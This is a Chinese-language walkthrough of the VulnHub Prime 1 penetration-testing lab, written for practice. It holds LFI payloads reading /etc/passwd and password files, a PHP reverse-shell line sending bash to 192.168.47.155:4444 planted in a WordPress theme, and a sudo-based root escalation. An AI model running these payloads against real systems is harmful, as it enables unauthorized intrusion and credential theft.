红队渗透靶场之prime1.0(超详细!)

news2024/11/17 11:45:09

靶场考察知识

Wordpress

WordPress是一个免费的开源内容管理系统(CMS),可以用来创建和管理网站或博客。它是由PHP语言和MySQL数据库构建的,并且拥有大量的插件和主题,可以让您轻松地自定义网站的外观和功能


Wpscan扫描工具

WPScan是一款开源的WordPress安全扫描工具,常用于渗透测试WordPress网站。它运行在Kali Linux操作系统上,也可以在其他类Unix系统(如MacOS和Linux)上使用。

WPScan可以帮助您扫描WordPress网站以寻找漏洞,并尝试利用这些漏洞获得对目标网站的访问权限。它还可以帮助您识别目标网站使用的WordPress版本、插件和主题,并检测是否存在已知的漏洞, 下面是WPScan的一些常用操作:

1.扫描WordPress网站,列出发现的漏洞和配置问题

wpscan --url <target_url>

2.枚举WordPress网站的用户

wpscan --url <target_url> --enumerate u

3.列出WordPress网站所有安装的插件, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate p

4.列出WordPress网站使用的所有主题, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate t

Openssl加解密

Openssl是一个用于实现各种加密和安全协议的开源工具。可以使用openssl enc命令来加密文件,并使用openssl enc -d命令来解密加密文件


靶场搭建

prime靶场下载地址: https://download.vulnhub.com/prime/Prime_Series_Level-1.rar


渗透步骤

信息收集

1.namp扫描

扫描C段存活主机nmap -sn 192.168.47.0/24, 确定prime靶场主机为192.168.47.158

image-20221222155435710


扫描开放端口, 只有22和80端口处于开放状态

image-20221222155722023

image-20221222155734055


2.dirb目录爆破

使用dirb对目标主机80端口进行爆破, 并将结果保存在当前文件夹的DirbReport.txt, 扫描结果如下图所示

dirb http://192.168.47.158 -o DirbReport.txt

image-20221222162820356


访问目标网站的根目录, 只发现了一张kali图标图片, 没有其他线索

image-20221222162918950


访问/dev目录, 页面提示意思, “你爆破的不够狠, 还需继续往深一点爆破”, 也就是说它要求我们继续使用Dirb爆破, 从而获取更多信息

image-20221222163056554


调整一下Dirb的使用参数, 爆破后缀名为txt和zip的文件(往往提示信息都是以文本文件为主), 扫描结果显示, 存在secret.txt文件

dirb http://192.168.47.158 -X .txt,.zip 

image-20221222164750396


访问http://192.168.47.158/secret.txt, 页面显示一段话, 简单来说就是要我们对找到的每个php页面进行参数爆破, 并给予文章提供参考(https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web), 最后一段话还提示我们要获取了location.txt文件才能进行下一步的操作

image-20221222165652921


根据上面的提示, 使用dirb对php页面进行爆破, 爆出image.phpindex.php

dirb http://192.168.47.158 -X .php

image-20221223103906878


3.wfuzz参数爆破

读取这篇github文章, 要求我们要用wfuzz命令来对php页面进行参数爆破, 还给了一行命令来演示: wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something

–hc 404表示不显示状态码为404的页面

image-20221222165914416


使用如下命令对index.php的参数进行爆破, 从爆破结果来看, 出现了很多无效信息, 我们可以通过--hc--hw, --hh来过滤信息

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.47.158/index.php?FUZZ=something

image-20221223160928388


使用--hh参数排除页面响应长度为136的数据, 最终只显示一个参数结果: file

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.47.158/index.php?FUZZ=something

image-20221223161918406


访问file参数: curl http://192.168.47.158/index.php?file , 页面显示:“干的不错, 但你挖的是一个错误的文件”, 也就是说file参数没有指定正确的文件 image-20221223162144156


综合上述secret.txt中的最后一段话:“注意location.txt这个文件, 后续的操作你需要用到它”, 或许这个file参数的值可以修改为location.txt

curl http://192.168.47.158/index.php?file=location.txt

image-20221223170145625

从页面显示内容上看, 它要求你在其他php页面使用"secrettier360"参数, 也就是说要在image.php使用secrettier360参数


访问image.php页面并配合secrettier360参数, 页面显示"最终你找到了正确的参数"

curl http://192.168.47.158/image.php?secrettier360

image-20221223171020276


Web渗透

1.文件包含漏洞

既然上述的提示说了secrettier360这个参数是正确的, 那么可以尝试下本地文件包含漏洞, 读取系统用户信息

成功读取到了用户信息,并且在最后面的saket用户给予了我们重要信息: 在/home/saket目录下寻找password.txt文件

curl http://192.168.47.158/image.php?secrettier360=../../../../../../etc/passwd

image-20221228105610320


读取/home/saket/password.txt, 它给出的密码是follow_the_ippsec, 虽然我们不知道这个密码是用来干什么的, 但是我猜可能会是SSH远程登录或者网站管理员登录其中一个

image-20221228105951449


先来尝试ssh远程登录, 在上述爆出的用户信息中, 可能登录成功的用户有两个, 分别是victorsaket, 经过ssh登录尝试后, 均登录失败

image-20221228112512467


2.wordpress后台拿shell

从上述dirb爆破结果可知, 该网站是一个wordpress框架, 于是我们可以从该cms漏洞入手

image-20221228112815237


使用wpscan针对wordpress框架的网站进行特定漏洞扫描, 如下命令用于枚举网站用户

wpscan --url http://192.168.47.158/wordpress -e u

结果显示只有一个victor用户, 在上述读取的用户信息中, 也有一个victor用户, 那么此用户很可能是管理员用户

image-20221228114401063


在上述的dirb爆破结果中, 已经爆出后台管理员页面, 当然凭借经验我们也可以大概清楚后台页面地址, 浏览器访问http://192.168.47.158/wordpress/wp-admin/user/admin.php, 然后尝试使用victor/follow_the_ippsec登录, 很幸运, 登录成功了

image-20221229001100937


找到插件功能处, 首先尝试插件上传功能, 判断是否存在文件上传漏洞

image-20221229211836737


这里要求我们上传zip格式的文件, 随便上传一个压缩文件, 然后点击install Now上传

image-20221229212147832


文件上传失败, 提示父级目录没有写的权限

image-20221229212231597


既然文件上传不行, 那么就从主题编辑入手, 依次排查所有主题文件, 寻找能够编辑(拥有写的权限)的页面, 最终发现secret.php可以编辑

image-20221230113141576


在secret.php插入反弹Shell代码: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

image-20221230113557973


我们可以通过搭建wordpress框架的网站来获取主题文件的网页路径, 这里secret.php的路径是http://192.168.47.158/wordpress/wp-content/themes/twentynineteen/secret.php

在kali开启监听, 然后访问secret.php触发反弹shell

image-20221230114007571


主机提权

1.查看权限

输入sudo -l查看系统权限, 发现当前用户可以使用root权限, 而无需输入root用户密码执行/home/saket/enc

image-20221231113137369


进入/home/saket目录, 当前目录下有password.txt和user.txt, 但是无法查看enc文件, 因为权限不足, 但是拥有执行的权限

image-20221231113436806


执行enc文件, 随后要求输入当前用户的密码, 尝试输入password.txt里面的密码, 提示文件执行失败, 说明这个密码是错误的,我们还需要在此系统下深挖正确的密码

image-20221231113557065


2.搜索密码备份文件

执行如下命令, 寻找系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null  | less| sort
  • find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 “backup” 的文件。find 命令会返回所有符合条件的文件的路径。
  • 2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
  • | less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。
  • sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

1


从上述结果来看, 此系统存在很多备份文件, 而我们要寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

查看/opt/backup/server_database/backup_pass, 文件提示: enc文件密码为"backup_password"

image-20221231123845436


3.openssl解密

使用sudo执行enc, 并输入密码backup_password, 随后在当前文件夹生成enc.txt和key.txt

image-20221231173403639


首先查看enc.txt, 文件内容是一段base64加密的字符串

image-20221231173545156


查看key.txt, 文件内容提示, 需要对"ippsec"字符串进行md5加密

image-20221231173621835


对"ippsec"字符串进行md5加密: echo -n "ippsec" | md5sum, 加密后的字符串为366a74cb3c959de17d61db30591c39d1

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

image-20221231174031288


在ctf靶场中看到enc和key这两个关键字, 第一时间就该想到openssl加解密, 也就是说要使用openssl命令, 通过key值去解密enc文件的加密字符串

首先查看openssl命令中支持哪些算法: openssl --help

image-20230101111848805


将openssl中支持的加密算法名称保存在CryptType文件中

image-20230101111715897


如下代码为openssl常用解密命令, “-d"参数表示解密,”-a"参数表示使用base64编码,"-K"参数表示使用的密钥(需为16进制), enc是OpenSSL的编码和加密的缩写,它是OpenSSL提供的一个命令行工具,用于加密和解密文件和信息

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

首先要将key值"366a74cb3c959de17d61db30591c39d1"进行16进制编码, 可使用如下od命令

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1
  • -An 表示不要输出地址信息。
  • -t x1 表示使用 16 进制编码输出每个字符

image-20230103150235189


为了让结果看起来更加清晰, 可以使用tr命令删除结果里的空格和换行符, 最终16进制编码的结果是3336366137346362336339353964653137643631646233303539316333396431

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 | tr -d ' '

image-20230103150732332


可以使用Shell代码批量使用openssl命令对字符串尝试各种算法进行解密, 最终的执行结果提示, saket用户的密码为"tribute_to_ippsec"

for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null echo $i;done

具体来说,这段代码会对CryptType文件中的每一行读取一个算法名称,然后使用openssl命令对字符串进行解密,其中使用的算法名称就是从CryptType文件中读取的。最后将解密结果和解密算法输出

image-20230101112502090


4.获取flag

ssh远程登录saket用户, 并输入解密出来的密码

image-20230101113436881


为了获取一个交互性更好的shell, 可使用python命令: python -c 'import pty;pty.spawn("/bin/bash")'

image-20230101113526041


查看当前用户的权限, 发现可以使用root权限无密码执行/home/victor/undefeated_victor

image-20230101160539561


执行此文件时提示没有/tmp/challenge, 它可能暗示我们去创建一个

image-20230101160726239


在tmp目录下创建challenge文件, 并写入如下内容

#!/bin/bash
/bin/bash

image-20230101161909272


赋予challenge可执行权限, 随后执行/home/victor/undefeated_victor, 成功获取root权限

image-20230101162148411


获取flag.txt

image-20230101162846255

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137730.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

引用量超6000的语义分割经典论文DeepLabv3解读

分享语义分割领域的一篇经典论文DeepLabv3&#xff0c;由谷歌发表于CVPR2017。开源代码地址&#xff1a; Tensorflow版本&#xff1a;https://github.com/tensorflow/models/tree/master/research/deeplabPytorch版本&#xff1a;https://github.com/open-mmlab/mmsegmentatio…

【Spring 入门教程3】

Spring_day03 &#x1f308;博客主页&#xff1a;屠一乐的博客 &#x1f4c5; 发文时间&#xff1a;2023.1.3 &#x1f388; 一定存在只有你才能做成的事 &#x1f339; 博主水平有限&#xff0c;如有错误&#xff0c;欢迎指正 欢迎各位&#x1f44d;收藏&#x1f48e;评论✉ …

mysql简介

一.mysql简介 MySQL是一个关系型数据库管理系统&#xff0c;由瑞典MySQL AB 公司开发&#xff0c;目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一&#xff0c;在 WEB 应用方面&#xff0c;MySQL是最好的 RDBMS (Relational Database Management System&a…

TensorFlow之过拟合与欠拟合-3

1 基本概念 过度拟合&#xff08;overfit&#xff09; 正则化&#xff08;regularization&#xff09; L1正则化&#xff08;L1 regularization&#xff09; L2正则化&#xff08;L2 regularization&#xff09; 删除正则化&#xff08;dropout regularization&#xff09…

【计组】异常、CPU指令集--《深入浅出计算机组成原理》(五)

课程链接&#xff1a;深入浅出计算机组成原理_组成原理_计算机基础-极客时间 一、异常 &#xff08;一&#xff09;异常 异常其实是一个硬件和软件组合到一起的处理过程。异常的发生和捕捉&#xff0c;是在硬件层面完成的。但是异常的处理&#xff0c;是由软件来完成的。 …

【并发编程十】c++线程同步——条件变量(condition_variable)

【并发编程十】c线程同步——条件变量&#xff08;condition_variable&#xff09;一、互斥二、条件变量1、为何要引入条件变量?2、不使用条件变量3、使用条件变量3.1、互斥锁有什么问题&#xff1f;3.2、条件变量3.3、条件变量成员函数3.4、demo三、future四、信号量简介&…

【并发编程九】c++线程同步——互斥(mutex)

【并发编程九】c线程同步——互斥&#xff08;mutex&#xff09;一、互斥1、mutex1.1、mutex1.2、 lock_guard1.3、 RAII2、std::recursive_mutex3、std::shared_mutex、std::shared_lock、std::unique_lock4、std::scoped_lock二、条件变量三、future四、信号量简介&#xff1…

chrony服务器

Chrony是一个开源自由的网络时间协议 NTP 的客户端和服务器软软件。它能让计算机保持系统时钟与时钟服务器&#xff08;NTP&#xff09;同步&#xff0c;因此让你的计算机保持精确的时间&#xff0c;Chrony也可以作为服务端软件为其他计算机提供时间同步服务。 Chrony由两个程序…

【嵌入式Linux环境搭建-10】tftp服务安装、双网卡并行

10.tftp服务安装 板子有有线网卡&#xff0c;需有线连接到电脑 主机安装TFTP服务 $ sudo apt-get install xinetd tftpd tftp $ sudo vim /etc/xinetd.d/tftp /*添加下面内容, service tftp { protocol udp port 69 socket_type dgram wait …

aws lambda 理解RIC和RIE构建和测试容器镜像并通过cdk部署lambda函数

参考资料 AWS Lambda 的新功能 — 容器映像支持 快速构建基于 Lambda 容器镜像的 OCR 应用 利用 Lambda 容器镜像搭建分布式压测引擎 lambda容器镜像构建 可以将 Lambda 函数打包和部署最大 10 GB 的容器映像&#xff0c;轻松构建和部署依赖于大量依赖项的更大型工作负载 …

【Java核心技术】创建多线程

1、多线程的概述 什么是线程&#xff1f; 线程(thread)是一个程序内部的一条执行路径。 我们之前启动程序执行后&#xff0c;main方法的执行其实就是一条单独的执行路径。 public static void main(String[] args) {// 代码...for (int i 0; i < 10; i) {System.out.prin…

《柳叶刀》:约20%中国男性死亡可归因于吸烟

*仅供医学专业人士阅读参考 吸烟喝酒可谓众所周知的两大“健康刺客”。一首歌名为《给我一杯酒》中的歌词唱到“给我一杯酒&#xff0c;再给我一只烟&#xff0c;说走就走&#xff0c;我有的是时间”&#xff0c;传唱度极高&#xff0c;甚至还一度成为短视频平台的最热门的BGM之…

概论_第2章_重点内容__随机变量函数的概率分布

一 定义 概括地说&#xff1a; 随机变量Y是随机变量X的函数。 设g(x) 是一给定的连续函数&#xff0c; 称Yg(X) 为随机变量X的一个函数&#xff0c; Y也是一个随机变量。当X取值 时&#xff0c;Y取值 . ~~~~~~~~~~~~~~ 本文讨论连续型随机变量函数。 定理1: 设X为连续型…

Appium环境搭建及元素定位

01 Appium简介 Appium是一个开源测试自动化框架&#xff0c;可用于原生&#xff0c;混合和移动Web应用程序测试。它使用WebDriver 协议驱动iOS&#xff0c;Android和Windows应用程序。 01 环境搭建步骤 Appium环境安装&#xff1a; 第一步 安装 appium 桌面版客户端 Appium…

Linux挂载磁盘命令

需求&#xff1a; 只有一个硬盘&#xff0c;创建多个挂载点 参考&#xff1a;linux如何实现挂载—linux_是小明同学啊的博客-CSDN博客_linux挂载 1 查看当前挂载情况 执行 df -h&#xff0c; 查看当前 / 根目录下挂载的分区名&#xff0c;在下图中为倒数第三行&#xff0c; …

html练习

1. 2. 3. <h1>各科小常识</h1> <h3>语文</h3> <p> 三国演义是中国四大古典名著之一&#xff0c;元末明初小说家罗贯中所著。是中国第一部章回体历史演义的小说&#xff0c;描写了从东汉末年到西晋初年近100年的历史风云。</p> <hr&g…

Ubuntu20.04 LTS 安装 ros Noetic 树莓派4/PC

Ubuntu 20.04 LTS 安装树莓派系统. 主要参考了这两篇文章&#xff1a; https://blog.csdn.net/liangforcold/article/details/126385774 https://blog.csdn.net/yangcunbiao/article/details/123056806 https://blog.csdn.net/duping812/article/details/110391081 1、下载安…

【前端-NPM私服】内网使用verdaccio搭建私有npm服务器-docker搭建verdaccio流程

目录一、npm私服是什么1. 定义2. 为什么需要npm私服二、npm私服如何使用1. 链接到npm私服2. 注册私服账号3. 发布组件到私服4. 关联LDAP服务5. 提高下载速度三、私服搭建方案四、docker搭建Verdaccio流程1. 拉镜像2. 创建卷3. 启动容器4. 软链接卷到统一的目录5. 配置Verdaccio…

【node.js】npm包管理工具的使用

&#x1f973;博 主&#xff1a;初映CY的前说(前端领域) &#x1f31e;个人信条&#xff1a;想要变成得到&#xff0c;中间还有做到&#xff01; &#x1f918;本文核心&#xff1a;node.jsx中npm包管理工具的基础使用&#xff0c;包与依赖关系的介绍 下图为本文的核心 目…

rmq 主备自动切换模式

https://rocketmq.apache.org/zh/docs/deploymentOperations/16autoswitchdeploy/ https://github.com/apache/rocketmq/blob/develop/docs/cn/controller/design.md controller 端 leader选举 主备自动切换模式就是controller模式&#xff0c;controller可以嵌入name serve…